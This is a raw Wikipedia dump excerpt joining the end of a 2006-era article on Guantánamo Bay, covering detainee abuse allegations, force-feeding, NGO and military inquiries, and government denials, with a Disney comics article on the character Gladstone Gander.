Forced feeding accusations by hunger-striking detainees began around the beginning of Autumn, 2005: &quot;Detainees said large feeding tubes were forcibly shoved up their noses and down into their stomachs, with guards using the same tubes from one patient to another.  The detainees say no sedatives were provided during these procedures, which they allege took place in front of U.S. physicians, including the head of the prison hospital.&quot; [http://www.democracynow.org/article.pl?sid=05/10/20/1410254] [http://news.xinhuanet.com/english/2005-10/21/content_3659142.htm] &quot;A hunger striking detainee at Guantánamo Bay wants a judge to order the removal of his feeding tube so he can be allowed to die, one of his lawyers has said.&quot; [http://english.aljazeera.net/NR/exeres/236E5000-43EB-4DC3-9BC0-6C521563E5AC.htm]. Within a few weeks, the Department of Defense &quot;extended an invitation to United Nations Special Rapporteurs to visit detention facilities at Guantánamo Bay Naval Station&quot; [http://www.state.gov/r/pa/prs/ps/2005/55756.htm] [http://www.sptimes.com/2005/10/29/Worldandnation/US_invites_UN_experts.shtml]. This was preliminarily rejected by the U.N. considering the restrictions &quot;that [the] three human rights officials invited to Guantánamo Bay wouldn't be allowed to conduct private interviews&quot; with prisoners [http://www.bloomberg.com/apps/news?pid=10000103&amp;sid=aUv39b7X7ToI&amp;refer=us] [http://news.bbc.co.uk/2/hi/americas/4394584.stm] [http://seattletimes.nwsource.com/html/nationworld/2002596646_gitmo01.html]. Simultaneously, media reports ensued surrounding the question of prisoner treatment [http://www.plenglish.com/article.asp?ID=%7B5BD10737-9860-4C53-955B-16219E30BD37%7D)&amp;language=EN] [http://www.abc.net.au/correspondents/content/2005/s1493651.htm] [http://www.nytimes.com/2005/10/30/nyregion/30side.html] [http://www.irna.ir/en/news/view/line-20/0510255203134342.htm] [http://www.philly.com/mld/inquirer/news/local/12980848.htm]. &quot;District Court Judge Gladys Kessler also ordered the U.S. government to give medical records going back a week before such feedings take place.&quot; [http://news.bbc.co.uk/2/hi/americas/4380642.stm] [http://www.abc.net.au/news/newsitems/200510/s1492333.htm]. In early November, 2005, the U.S. suddenly accelerated, for unknown reasons, the rate of prisoner release, but this was unsustained [http://www.arabnews.com/?page=4&amp;section=0&amp;article=72779&amp;d=6&amp;m=11&amp;y=2005] [http://english.people.com.cn/200511/05/eng20051105_219282.html] [http://www.arabicnews.com/ansub/Daily/Day/051105/2005110518.html] [http://aawsat.com/english/news.asp?section=1&amp;id=2536] [http://www.gulf-daily-news.com/Story.asp?Article=126175&amp;Sn=BNEW&amp;IssueID=28231] [http://usinfo.state.gov/xarchives/display.html?p=washfile-english&amp;y=2005&amp;m=November&amp;x=20051107130659dmslahrellek0.8640863&amp;t=livefeeds/wf-latest.html].

In [[October 2005]], Juma Al Dossary, a 30-year-old Bahraini detainee, at the urging of his lawyers released his memoirs: &quot;Included in his account, which he said he could barely bring himself to write because of the 'shame' he feels, Al Dossary says in three years he has been interrogated some 600 times, fed rotten food, beaten many times (by up to eight guards at once), made to walk on broken glass and pushed so that his face hit the glass shards, made to walk on barbed wire, and has had cigarettes put out on his body. This is in a U.S. prison by U.S. personnel.&quot; [http://www.plenglish.com/article.asp?ID=%7B5BD10737-9860-4C53-955B-16219E30BD37%7D)&amp;language=EN]

===NGO reports===
On [[November 30]], [[2004]], ''[[The New York Times]]'' published excerpts from an internal memo leaked from the U.S. administration,[http://nytimes.com/2004/11/30/politics/30gitmo.html?ei=5094&amp;en=8d107165e454d8b6&amp;hp=&amp;ex=1101877200&amp;adxnnl=1&amp;partner=homepage&amp;adxnnlx=1101843681-+nTyVVJpq8yXt1yEg4X28g] referring to a report from the [[International Committee of the Red Cross|International Committee of the Red Cross]] (ICRC).

The ICRC reports of several activities which, it said, were &quot;tantamount to torture&quot;: exposure to loud noise or music, prolonged extreme temperatures, or beatings.  It also reported that a [[behavior science team]] (BSCT), also called 'Biscuit', and military physicians communicated confidential medical information to the interrogation teams (weaknesses, phobias, etc.), resulting in the prisoners losing confidence in their medical care.

Access of the ICRC to the base was conditional, as is normal for ICRC [[humanitarian]] operations, on the confidentiality of their report; sources have reported heated debates had taken place at the ICRC headquarters, as some of those involved wanted to make the report public, or confront the U.S. administration.  The newspaper said the administration and the Pentagon had seen the ICRC report in [[July 2004]] but rejected its findings.[http://www.guardian.co.uk/worldlatest/story/0,1280,-4645430,00.html] [http://www.reuters.com/newsArticle.jhtml?type=topNews&amp;storyID=6951969].  The story was originally reported in several newspapers, including [http://www.guardian.co.uk/international/story/0,,1213640,00.html The Guardian], and the ICRC reacted to the article when the report was leaked in May.[http://www.icrc.org/Web/eng/siteeng0.nsf/iwpList4/C5667B446C9A4DF7C1256F5C00403967]

In a [http://web.amnesty.org/report2005/message-eng foreword] to [[Amnesty International]]'s [http://web.amnesty.org/report2005/index-eng International Report 2005], the Secretary General, [[Irene Khan]], made a passing reference to the [[Guantánamo Bay]] prison as &quot;the [[gulag]] of our times,&quot; breaking an internal AI policy on not comparing different human rights abuses. The report reflected ongoing claims of prisoner abuse at Guantánamo and other military prisons.[http://www.miami.com/mld/miamiherald/news/11779485.htm]  [http://www.philly.com/mld/dailynews/news/opinion/11825077.htm][http://www.nationalreview.com/rice/rice200506140804.asp]

===Government and military inquiries===
In December 2002, [[David Brant]], director of the [[Naval Criminal Investigative Service]] (NCIS), alerted Navy General Counsel [[Alberto J. Mora]] to reports of detainee abuse performed by the [[Joint Task Force 170]] (JTF-170) and authorized at high levels in Washington. General Counsel Mora and Navy Judge Advocate General [[Michael Lohr]] believed the detainee treatment to be unlawful, and campaigned among other top lawyers and officials in the Defense Department to investigate and to provide clear standards prohibiting coercive interrogation tactics. [http://www.newyorker.com/images/pdfs/moramemo.pdf] In response, on January 15, 2003, [[Donald Rumsfeld]] suspended the approved interrogation tactics at Guantánamo until a new set of guidelines could be produced by a working group headed by General Counsel of the Air Force [[Mary Walker]]. The working group based its new guidelines on a legal memo from the [[Department of Justice]] [[Office of Legal Counsel]] written by [[John Yoo]] and signed by [[Jay S. Bybee]], which would later become widely known as the &quot;Torture Memo&quot;. General Counsel Mora led a faction of the Working Group in arguing against these standards, and argued the issues with Yoo in person. The working group's final report was signed and delivered to Guantánamo without the knowledge of Mora and the others who had opposed its content. Nonetheless, Mora has maintained that detainee treatment has been consistent with the law since the January 15, 2003 suspension of previously approved interrogation tactics. [http://www.washingtonpost.com/ac2/wp-dyn/A60149-2004Dec12]

After reports of detainee abuse became public, [[United States Navy|U.S. Navy]] Secretary [[Gordon England]] ordered a review of detainee [[incarceration]] practices at Guantánamo, conducted by Navy inspector general, Vice Admiral [[Albert Church]], which concluded the facility was &quot;being operated at very high standards.&quot; 

On [[June 3]], [[2005]], a U.S. military report supported allegations that U.S. soldiers had abused the [[Qur'an]]. The report found that a soldier deliberately kicked a Qur'an; an interrogator stepped on a Qur'an; a guard's urine came through an air vent, splashing a detainee and his Qur'an; water balloons thrown by prison guards caused a number of Qur'ans to get wet; and a two-word obscenity was written in English on the inside cover of a Qur'an. It concluded that many other allegations of desecration were unfounded (see [[Qur'an desecration controversy of 2005]]).

In June 2005 the U.S. House of Representatives Armed Services Committee visited the camp and described it as a &quot;resort&quot; and complimented the quality of the food. However Democratic members of the committee complained  that Republicans had blocked the testimony of attorneys representing the prisoners. [http://www.boston.com/news/nation/washington/articles/2005/06/30/at_hearing_guantanamo_wins_praise_and_criticism/]Democratic Senators have visited Guantánamo and they reported that they could not find evidence of abuse or mistreatment.

On [[June 10]], [[2005]], as testimony was being given about alleged human rights abuses at Guantánamo, before a [[House Judiciary Committee]] hearing on reauthorization of the [[USA PATRIOT Act|Patriot Act]], Chairman [[James Sensenbrenner]] (one of the act's authors) declared debate over the detainees at Guantánamo Bay irrelevant. [http://hosted.ap.org/dynamic/stories/U/UNCIVIL_HEARING?SITE=WIMIL&amp;SECTION=HOME&amp;TEMPLATE=DEFAULT]

On [[July 12]], [[2005]] members of a military panel told the committee that they proposed disciplining prison commander Army Major General Geoffrey Miller over the interrogation of [[Mohamed al-Kahtani]] who was forced to wear a bra, dance with another man and threatened with dogs. The recommendation was overruled by General Bantz J. Craddock, commander of U.S. Southern Command, who refered the matter to the Army's inspector general. [http://www.cnn.com/2005/POLITICS/07/13/senate.guantanao.ap/index.html]

The book, ''[[Inside the Wire]]'' by [[Erik Saar]] and [[Viveca Novak]] also claims to reveal the abuse of prisoners. Saar, a former U.S. soldier, repeats allegations that female interrogators taunted prisoners sexually and in one instance wiped what seemed to be [[menstruation|menstrual]] blood on the detainee. In reality it was just a red marker but the prisoner was unable to clean himself and hence unable to pray. Other instances of beatings by the [[immediate reaction force (Guantánamo)|IRF]] (initial reaction force) have been reported in this book and it supports the claim that the [[Qur'an]] was flushed down the toilet. An FBI email [http://news.bbc.co.uk/1/shared/bsp/hi/pdfs/09_05_05_fbi_email.pdf] from December 2003, six months after Saar had left, said that the Defense Department interrogators at Guantánamo had impersonated FBI agents while using &quot;torture techniques&quot; on a detainee.

===='Exceptional treatment' of prisoners====
The U.S. government has claimed it has accommodated religious needs.  Religious literature is supplied, daily prayers are respected and all meals are certified halal (adhering to Islamic law) by Gitmo's Muslim chaplain.  In fact, between [[April 2002]] and [[March 2003]] most detainees had gained an average of 13 pounds.  But continued alleged religious harassment is one of the triggers to the [[hunger strike]] that started on [[August 8]] [[2005]].  Detainee [[Omar Khadr]] told his lawyer that the camp authorities were only broadcasting the call to prayers four times a day, not the five times Islam requires.  Further, camp authorities were allegedly offending the religious sensibilities of the detainees by having female personnel announce the call to prayers.  Finally, he claimed that camp authorities were allowing guards to disrupt prayer sessions. 

According to detailed accounts reported by the ''[[New York Times]]'' on [[June 24]], [[2005]], from former interrogators, military doctors have assisted with refinement of the techniques interrogators have used on detainees, including advice on how to incrementally adjust psychological duress levels and manipulate fears, as a means of attempting to make the detainees more cooperative and willing to provide information.[http://www.nytimes.com/2005/06/24/politics/24gitmo.html?hp&amp;ex=1119585600&amp;en=0bb87618febc3438&amp;ei=5094&amp;partner=homepage] It has been alleged that [[SERE]] (Survival, Evasion, Resistance, Escape) program's chief psychologist, Col. [[Morgan Banks]], issued guidance in early 2003 for the &quot;behavioral science consultants&quot; who helped to devise Guantánamo's interrogation strategy. SERE is a program based in [[Fort Bragg, North Carolina]].

A related article in the ''[[New England Journal of Medicine]]'' reported doctors involved with devising and supervising the interrogations indicated they understood the interrogation procedure refinements they gave advice on were designed to increase fear and distress, as a means to obtaining intelligence.  Pentagon spokesman Bryan Whitman, while declining to address the specifics of the doctors' accounts, responded by asserting the doctors were not covered by ethics rules, since they were advising interrogators as behavioral scientists rather than treating patients.  

According to a [[June 21]], [[2005]] ''New York Times'' opinion article, [http://www.nytimes.com/2005/06/21/opinion/21lewis.html?th&amp;emc=th] on [[July 29]], [[2004]] an [[Federal Bureau of Investigation|FBI]] agent was quoted as saying, &quot;On a couple of occasions, I entered interview rooms to find a detainee chained hand and foot in a fetal position to the floor, with no chair, food or water.  Most times they had urinated or defecated on themselves and had been left there for 18, 24 hours or more.&quot;

U.S. Vice President [[Dick Cheney]] suggested detainees were treated better than they would be &quot;by virtually any other government on the face of the earth.&quot;

Air Force Lt. Gen. Randall Schmidt, who headed the probe into FBI accounts of abuse of Guantánamo prisoners by Defense Department personnel, concluded the man (a Saudi, described as the &quot;20th hijacker&quot;) was subjected to &quot;abusive and degrading treatment&quot; due to &quot;the cumulative effect of creative, persistent and lengthy interrogations.&quot;  The techniques used were authorized by the Pentagon, he said. [http://today.reuters.co.uk/news/newsArticle.aspx?type=worldNews&amp;storyID=2005-07-13T203032Z_01_SCH364432_RTRUKOC_0_SECURITY-GUANTANAMO.xml]

Senator [[Pat Roberts]] of [[Kansas]], Chairman of the [[U.S. Senate Select Committee on Intelligence|Senate Intelligence Committee]], challenged the allegations, on [[July 11]] [[2005]], after taking a tour, contending the detainees received better care than most Kansans.  However, visiting politicians were not allowed to speak to any of the detainees [http://www.ccr-ny.org/v2/reports/report.asp?ObjID=ul3zV53kyG&amp;Content=618].  Roberts commented on the high quality of the food on the detainee's menus while the detainees were in the midst of a widespread [[hunger strike]]. 

And in a similar vein, still others claim that the real abuse at the base is against the guards that work there: &quot;Our young military men and women routinely endure the vilest invective imaginable, including death threats that spill over to guards' families&quot;. [http://fredericksburg.com/News/FLS/2005/102005/10232005/139151]

==U.S. government denial of allegations of mistreatment==
''Main article: [[Periodic Report of the United States of America to the United Nations Committee Against Torture]]''

The [[United States]] government, through the [[State Department]]  makes periodic reports to  the [[United Nations]]  Committee Against Torture. In [[October 2005]], the report focused on pretrial detention of suspects in the [[War on Terror]], including those held in Guantánamo Bay.  This particular Periodic Report is significant as the first official response of the U.S. government to allegations that prisoners are mistreated in Guantánamo Bay. The report denies the allegations, but does describe in detail several instances of misconduct that did not arise to the level of substantial abuse, as well as the training and punishments given to the perpetrators.

==See also==
*[[Afghanistan timeline]]
*[[Combatant Status Review Tribunal]]
*[[Criticisms of the War on Terrorism]]
*[[Extraordinary rendition]]
*[[List of Guantánamo Bay detainees]]
*[[Platt Amendment]] - Document that Guarantees U.S. Navy use in Cuba
*[[Qur'an desecration controversy of 2005]]
*[[Unlawful combatant]]
*[[War on terror]]

==External links and references==
===U.S. sources===
* [http://www.dcd.uscourts.gov/04-1519.pdf Ruling saying Hamdan needs competent tribunal to determine his POW status (PDF file)]
* GlobalSecurity.org: [http://www.globalsecurity.org/military/facility/guantanamo-bay_x-ray.htm Profile of Camp X-Ray]
*[http://www.campxray.org Website campaigning for an end of the detention of several inmates]
*[http://www.miami.com/mld/miamiherald/2929045.htm Guantánamo detainees mostly young foot soldiers] Carol Rosenberg, ''The Miami Herald'', [[25 March]] [[2002]]
*[http://www.nytimes.com/2003/04/24/international/worldspecial/24GITM.html Fate of Prisoners From Afghan War Remains Uncertain], Neil Lewis, ''New York Times'', [[24 April]] [[2003]]
*[http://nypress.com/16/18/news&amp;columns/cage.cfm Do Unto Others: Neil Lewis, from Guantánamo to Plattsburgh], by Matt Taibbi, ''NYPress'', [[30 April]] [[2003]] - Taibbi takes NYT reporter Lewis to account for coverage of detainees
*[http://www.aclu.org/SafeandFree/SafeandFree.cfm?ID=14620&amp;c=206 American Civil Liberties Union: Federal Court Decision Granting Guantánamo Bay Detainees Judicial Review Caps Red-Letter Day for Checks and Balances]
*[http://www.guantanamohrc.org/ Guantánamo Human Rights Commission]
*[http://www.commondreams.org/views04/0331-09.htm Maybe None of Them are Terrorists]
*Dana Priest and Joe Stephens. [http://www.washingtonpost.com/wp-dyn/articles/A11017-2004May8.html Pentagon Approved Tougher Interrogations], ''Washington Post.'' ([[9 May]] [[2004]])
*''[http://www.nytimes.com/2004/06/21/politics/21GITM.html U.S. Said to Overstate Value of Guantánamo Detainees]'', [[The New York Times|NYT]] [[21 June]] [[2004]]
{{note|ElaineChao}} [http://www.dol.gov/_sec/media/speeches/20030507_ILAB_ChildSoldiers.htm “Children in the Crossfire: Prevention and Rehabilitation of Child Soldiers”] Speech delivered by [[Elaine Chao]], U.S. [[Secretary of Labor]] on [[May 7]] [[2003]]
*[http://www.defenselink.mil/photos/Jan1998/970318-N-2240H-007.html Archive  - Defense Programs  - Humanitarian De-mining]

===Miscellaneous sources===
*[http://hrw.org/press/2003/01/wr2003.htm Human Rights Watch report]
*[http://web.amnesty.org/report2005/message-eng Irene Khan's foreword to Amnesty International 2005 report, qualifying Guantánamo base as the &quot;gulag of our times&quot;]
*[http://web.amnesty.org/pages/guantanamobay-index-eng Amnesty International - Guantánamo Bay]
*[http://www.amnesty.org.uk/deliver/document/14105 Amnesty International seeks assurances on Guantánamo]
*[http://www.guardian.co.uk/print/0,3858,4394069-111575,00.html Amnesty International delivers dossier of concerns]
*[http://web.amnesty.org/report2004/usa-summary-eng Amnesty International 2004 report (USA section)]
*[http://news.bbc.co.uk/1/hi/world/south_asia/2970279.stm BBC: Three youths under the age of 16 are being held...]
*[http://www.mirror.co.uk/news/allnews/content_objectid=14042696_method=full_siteid=50143_headline=-MY%2DHELL%2DIN%2DCAMP%2DX%2DRAY-name_page.html Daily Mirror: My Hell In Camp X-Ray] ([[12 March]] [[2004]])
*[http://www.guardian.co.uk/guantanamo/story/0,13743,1169147,00.html?=rss Observer: Revealed: the full story of the Guantánamo Britons] ([[14 March]] [[2004]])
*[http://www.guardian.co.uk/guantanamo/story/0,13743,1371609,00.html The Guardian: continued concerns about torture in the camp] (December 2004)
*[http://news.bbc.co.uk/1/hi/uk/3509750.stm BBC: Tipton three complain of beatings] ([[14 March]] [[2004]])
* &quot;''[http://www.guardian.co.uk/guantanamo/story/0,13743,1163435,00.html Cuba? It was great, say boys freed from U.S. prison camp], James Astill meets teenagers released from Guantánamo Bay who recall the place fondly''&quot;. The Guardian. [[6 March]] [[2004]].
*[http://schema-root.org/region/americas/north_america/usa/government/executive/cabinet/defense/bases/guantanamo_bay/detainees/ Schema- root.org: Guantanamo detainees] News feeds for known Guantánamo detainees
*[http://www.guantanamohrc.org/ Guantánamo Human Rights Commission]
{{note|CliveStaffordSmith}} [[Clive Stafford Smith]], [http://www.cageprisoners.com/articles.php?id=7880  The Kids of Guantánamo Bay], ''[[cageprisoners.com]]'', [[June 6]] [[2005]]
* [http://www.berlinale.de/en/programm/berlinale_programm/datenblatt.php?film_id=20061707  The movie &quot;The road to Guantánamo&quot; at Berlin Film Festival

===UK Supreme Court case and parliamentarians' [[amici curi&amp;aelig;]]===
* Guardian: [http://www.guardian.co.uk/guantanamo/story/0,13743,1120151,00.html MPs and peers in Camp Delta plea], [[January 10]], [[2004]].
* Jenner and Block: [http://www.jenner.com/news/news_item.asp?id=12520724 U.S. Supreme Court Guantánamo Bay Cases]: [http://www.jenner.com/files/tbl_s69NewsDocumentOrder/FileUpload500/79/AmiciCuriae_175_Members_Parliament_United_Kingdom_Northern_Ireland.pdf Brief amici curiae of 175 Members of Both Houses of Parliament of the United Kingdom of Great Britain and Northern Ireland]
* [http://www.findlaw.com/ FindLaw]: [http://supreme.lp.findlaw.com/supreme_court/docket/2003/unscheduled.html#02-1389 Shafiq Rasul, et al. v. George W. Bush, President of the United States, et al. etc.]
* Supreme Court of the United States of America: [http://www.supremecourtus.gov/docket/03-334.htm Docket for 03-334] (Rasul v Bush)
* [http://observer.guardian.co.uk/international/story/0,6903,1217969,00.html 'They tied me up like a beast and began kicking me' ''The Observer'', Sunday [[16 May]] [[2004]]] Account of prisoner treatment in Camp X-Ray.
* [http://news.bbc.co.uk/2/hi/americas/3867067.stm Q&amp;A: U.S. Supreme Court Guantánamo ruling] ''BBC News.'' ([[8 July]] [[2004]])

==Fictional representations of Guantánamo==
* The  movie ''[[A Few Good Men]]'' ([[1992 in film|1992]]) depicts a legal trial concerning an incident that took place in Guantánamo Bay, however the entire movie was filmed in the United States.
* Guantánamo Bay was featured in ''[[Bad Boys II]]'' ([[2003 in film|2003]]), however it was a movie set in [[Puerto Rico]].
* Guantánamo Bay was mentioned in the  [[James Bond]] movie ''[[GoldenEye]]'' ([[1995 in film|1995]]), which was, however, shot in Puerto Rico.
* The base is frequently referenced in the TV series ''[[JAG]]'', and its [[spin-off]] series ''[[NCIS (TV series)|NCIS]]''.
* The animated series ''[[American Dad!]]'' features a real-estate agent being sent to Guantánamo Bay by the government.
* [[Ultimate Marvel]] comics make reference to Camp X-Factor, a detention camp in Guantánamo Bay designed to hold renegade [[Mutant (fictional)|mutants]].
* The book ''[[Seven Ancient Wonders]]'' features an assault on Guantánamo Bay by several of the main characters to break a prisoner out of a detention block.

==See also==
* [[Center for Constitutional Rights]]
* [[Abu Ghraib torture and prisoner abuse]]
* [[Combatant Status Review Tribunal]]
* [[Qur'an desecration controversy of 2005]]
* [[List of Guantánamo Bay detainees]]
* [[Flora and fauna of Guantánamo Bay]]
* [[Guantánamo Province]]
* Compare with other [[foreign establishment]]s: 
**[[United States|U.S.]]: [[Subic Bay]], [[Panama Canal Zone]]
**U.S./UK: [[Diego Garcia]], [[Ascension Island]]
**[[UK]]: ''current:'' [[Akrotiri and Dhekelia]]([[Cyprus]]), [[Gibraltar]], ''historical:'' [[Hong Kong]], [[Treaty ports|Chinese treaty ports]], [[Treaty ports (Ireland)|Irish treaty ports]], [[Singapore]]
**[[Portugal]]: ''historical:'' [[Macau]], [[Goa]]

==Wikisource links==
* [http://en.wikisource.org/wiki/United_States_-_Cuban_Agreements_and_Treaty_of_1934 Texts of United States - Cuban agreements and treaty of 1934]

==External links==
{{wikinewscat|Guantanamo Bay}}
*[http://www.ccr-ny.org] website of the New York City-based legal non-profit, the Center for Consitutional Rights, which is legally authorized to represent over 200 of the Guantánamo Bay detainees
*[http://wid.ap.org/documents/detainees/list.html The Associated Press Court Documents Archive] 
A list of detainees at Guantánamo Bay Naval Base with links to Federal court documents, by detainee.
* [http://www.studiotheatre.org/plays/plays_details.php?plays_id=79 Guantánamo: 'Honor Bound To Defend Freedom'] Play about Guantánamo Detainees
* [http://www.alfreddezayas.com/ AlfreddeZayas.com] &amp;mdash; Professor Alfred de Zayas' web site ([[English language|English]], [[French language|French]], and [[German language|German]] texts concerning legal and historical aspects of the Guantánamo complex, The Douglas McK Brown Lecture,&quot;The Status of Guantánamo Bay and the Status of the Detainees&quot;, in Vol. 37 ''[[University of British Columbia Law Review]]'' pp. 277-341 (2004), and articles in ''Frankfurter Allgemeine Zeitung'' ([[29 December]] [[2003]]) and ''Tribune de Genève'' ([[24 January]] [[2004]])
* [http://web.amnesty.org/pages/guantanamobay-index-eng Amnesty.org] &amp;mdash; &quot;Guantánamo Bay - a human rights scandal&quot;, [[Amnesty International]]
* [http://atlanta.creativeloafing.com/2001-12-12/rant.html CreativeLoafing.com] &amp;mdash; &quot;Trial in error? Military tribunals are better suited to revenge than justice&quot;, John Hickman, ([[December 12]], [[2001]])
* [http://www.cdi.org/news/law/gtmo-sct-decision.cfm  CDI.org] &amp;mdash; &quot;Supreme Court Guantánamo Decision&quot;, Steven C. Welsh, Esq., [[International Security Law Project]] ([[June 30]], [[2004]])
* [http://www.guantanamo.com/ Guantánamo.com] &amp;mdash; &quot;Guantánamo: Latest News from ''[[World News Network]]''&quot;
* [http://HavenWorks.com/world/cuba/guantanamo-bay HavenWorks.com] &amp;mdash; ''Guantánamo Bay News''
* [http://hometown.aol.com/webcuba/guantanamoeng1.html HomeTown.aol.com] &amp;mdash; &quot;Statement by The Government of Cuba to the National and International Public Opinion&quot; ([[January 11]], [[2002]])
* [http://www.cageprisoners.com/ cageprisoners.com] &amp;mdash; Non-sectarian Islamic human rights website on Guantánamo prisoners as well as war on terror prisoners in the UK and the U.S.
* [http://www.kuwaitifreedom.org/ kuwaitifreedom.org] &amp;mdash; Site focusing on Kuwaiti prisoners at Guantánamo
* [http://jurist.law.pitt.edu/currentawareness/guantanamo.php Guantánamo Bay legal news and resources]
* [http://jurist.law.pitt.edu/forumy/2005/11/why-americans-dont-care-about-gtmo-and.php Why Americans Don't Care About GTMO, and Why They Should], [[JURIST]]
* [http://www.newsxs.com/en/preset/447 Guantánamo Bay, international news and rss-feed by NewsXS]
* [http://writ.news.findlaw.com/dorf/20020123.html What is an &quot;Unlawful Combatant&quot; and Why It Matters: The Status Of Detained Al Qaeda And Taliban Fighters], Michael C. Dore, ''Michael I. Sovern Professor of Law'' at Columbia University School of Law (Jan. 23, 2002)



===Official U.S. military website===
* [http://www.nsgtmo.navy.mil/ NSGtmo.navy.mil] &amp;mdash; &quot;U.S. Naval Station Guantánamo Bay Cuba: The United States' oldest overseas Naval Base&quot;

===Official U.S. Congressional Research Service Papers===
* Elsea, et. al ''Detainees at Guantánamo Bay'' ([[July 20]] [[2005]])[http://www.fas.org/sgp/crs/natsec/RS22173.pdf .pdf] [http://66.102.7.104/search?q=cache:sgHnJj4mV9MJ:www.fas.org/sgp/crs/natsec/RS22173.pdf+site:www.fas.org+Guantanamo&amp;hl=en .html] &amp;mdash; good summary of pending court cases

===Maps and photos===
* [http://www.cuba-pictures.com/guantanamo/index.html Cuba-Pictures.com] &amp;mdash; Guantánamo Province photos with the view from Mirador de Malones
* [http://maps.google.com/maps?ll=19.997520,-75.142021&amp;spn=0.163078,0.253372&amp;t=k&amp;hl=en Google Maps]
*[http://www.bradbeckett.com/gbay/ Photos] by Brad Beckett
* [http://www.zone-interdite.net/P/base.php?laenge=-4512&amp;breite=1194&amp;pos=download Virtual 3D Walkthrough of Camp Delta (from the Art project Zone*Interdite) ]


[[Category:2003 Iraq conflict]]
[[Category:2005]]
[[Category:Articles to be merged|{{PAGENAME}}]]
[[Category:Bays]]
[[Category:Extrajudicial prisoners of the United States]]
[[Category:Geography of Cuba]]
[[Category:Prisons and detention centres]]
[[Category:Spanish-American War]]
[[Category:Special territories]]
[[Category:Terrorism]]
[[Category:United States Navy bases|Guantánamo Bay]]
[[Category:War on terror]]

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    </revision>
  </page>
  <page>
    <title>Gladstone Gander</title>
    <id>13038</id>
    <revision>
      <id>40444303</id>
      <timestamp>2006-02-20T16:23:18Z</timestamp>
      <contributor>
        <username>Free Parking</username>
        <id>963486</id>
      </contributor>
      <minor />
      <comment>added link to German wikipedia</comment>
      <text xml:space="preserve">[[Image:gladston.jpg|thumb|right|250px]]'''Gladstone Gander''' is a [[Walt Disney]] [[fictional character]] created by comic artist and writer [[Carl Barks]] for [[Western Publishing]]. Gladstone first appeared in the story &quot;Wintertime Wager&quot; in January, [[1948]].

Gladstone is a lazy and infuriatingly lucky creature who never fails to upset his first cousin [[Donald Duck]]. Gladstone's luck defies [[probability]] and provides him with anything he desires, with hardly the need of effort. His [[philosophy]] in life is summarised in leaving everything to chance and taking advantage of opportunities as they come. As Disney comics writer [[Don Rosa]] has commented on the character: ''&quot;Gladstone is unwilling to make the slightest effort to gain something that his [[luck]] cannot give him, and, when things go wrong, he resigns immediately, certain that around the next corner a wallet, dropped by a passer-by, will be waiting for him&quot;''. For all his luck Gladstone has no achievements to be proud of and no true ambitions, as he is incapable of long-term planning. All of this is in stark contrast to his relative [[Scrooge McDuck]], who is also capable of taking advantage of opportunities but works hard to create situations favorable for him, is strongly motivated by his ambitions and takes pride in forming his fortune by his own efforts.  

Gladstone finds working for a living deplorable and has held only one job in his lifetime; so ashamed was he at being forced to work that he hid his salary (a single dime) in a safe (in &quot;Gladstone's Terrible Secret&quot; from 1951). He is a rival of Donald for the love of Donald's girlfriend [[Daisy Duck]]. Gladstone is also considered among the prime candidates for Scrooge McDuck's succession. For all of these reasons, he and Donald have formed an intense rivalry with each other. Gladstone's arrogance and outrageous luck, combined with Donald's own ego and belief he can still best him despite all odds---or as [[Don Rosa]]'s version of Scrooge comments, &quot;''Donald's eternal tendency towards self-destruction&quot;''---have set the stage for many stories featuring the two cousins' confrontations.

Barks gradually developed Gladstone's personality and at first used him frequently - in 24 stories between 1948 and 1953, the first five years of his existence. Gladstone's luck evolved slowly. In his first three appearances in 1948 (&quot;Wintertime Wager&quot;, &quot;Gladstone Returns&quot;, &quot;Links Hijinks&quot;), he was portrayed as the mirror image of Donald: an obstinate braggart, perhaps just a little bit more arrogant. In &quot;Race to the South Seas&quot; in 1949, Gladstone is amazingly lucky on his sail boat, but meets an unfortunate end, getting disinherited at his first encounter with uncle Scrooge. In his next two appearances, &quot;Rival Beachcombers&quot; and &quot;The Goldilocks Gambit&quot;, Gladstone is portrayed as merely lazy and irritable, and also gullible. The breakthrough of his lucky streak occurs in December 1949, and the long adventure story &quot;Luck of the North&quot;. It starts by Gladstone reading his horoscope: &quot;I was born under a lucky star, and everything I do will bring me good fortune, it says here. And today, it says here, I’m to be especially lucky&quot;. And he remains extremely lucky throughout the story, despite Donald's attempts to get him lost in Alaska. In the following stories, unlikely lucky coincidences continue to follow him, reaching surreal proportions in &quot;Gladstone's Usual Very Good Year&quot; (1952), where he enters his first raffle lotteries. His and Donald's rivalry over Daisy is established in &quot;Donald's Love Letters&quot; (1949), &quot;Wild About Flowers&quot; (1950), and &quot;Knightly Rivals&quot; (1951), and as potential heirs to Scrooge's fortune in &quot;Some Heir Over the Rainbow&quot; (1953). He competes with Donald on elaborate treasure hunts in &quot;Trail of the Unicorn&quot; (1950), &quot;The Gilded Man&quot; (1952), and later, most vividly, in &quot;Secret of Hondorica&quot; (1956). After that, Barks felt unable to develop the character further, finding him basically unsympathetic, and began using him less frequently. But by then, Gladstone had found a steady place in the Duck universe. He was first used by an artist other than Barks in 1951: &quot;Presents For All&quot; by Del Connell and Bob Moore.

Like his other first cousin [[Fethry Duck]], Gladstone has little care for social conventions. Both of them have been sometimes described as the [[Beatnik]]s or the [[Hippie]]s of the [[Duck family]].

His exact relation to the Duck Family Tree is somewhat uncertain. In Carl Barks' original version of the family tree from the [[1950s]], Gladstone was the son of [[Luke the Goose]] and [[Daphne Duck]] who died by overeating at a free-lunch picnic. He was later adopted by [[Matilda McDuck]] and [[Goosetave Gander]]. Later, Barks is reported to have done away with the adoption, which was never featured in any story. (Of course, no stories denying the event were published.) In a more recent version of the family tree created by Don Rosa, Daphne Duck married Goosetave Gander and the two were Gladstone's parents; in Rosa's stories that is the case. In Rosa's story &quot;The Sign of the Triple Distelfink&quot;, first published on [[February 4]], [[1997]], he added the fact that Gladstone was born on the day of Daphne's birthday on [[1920]], under the protection sign of the Triple Distelfink, and that he has inherited his mother's luck.

A number of recent [[Italy|Italian]] stories feature Gladstone's protector [[Goddess|goddess]] appearing in person. In those tales, the goddess is named [[Fortuna]], Goddess of Luck, whose equivalent in [[mythology]] is [[Tyche]], the Goddess of Luck in [[Greek mythology]]. Fortuna appears in one noteworthy tale, &quot;Gastone e il debole dalla Fortuna&quot; (&quot;Gladstone and the Struck of Luck&quot;), by [[Enricco Faccini]] and [[Augusto Macchetto]], first published on [[March 24]], [[1998]]. In this story, the Goddess takes mortal guise in order to be able to date her favorite duck, and appears to be love-struck with him.

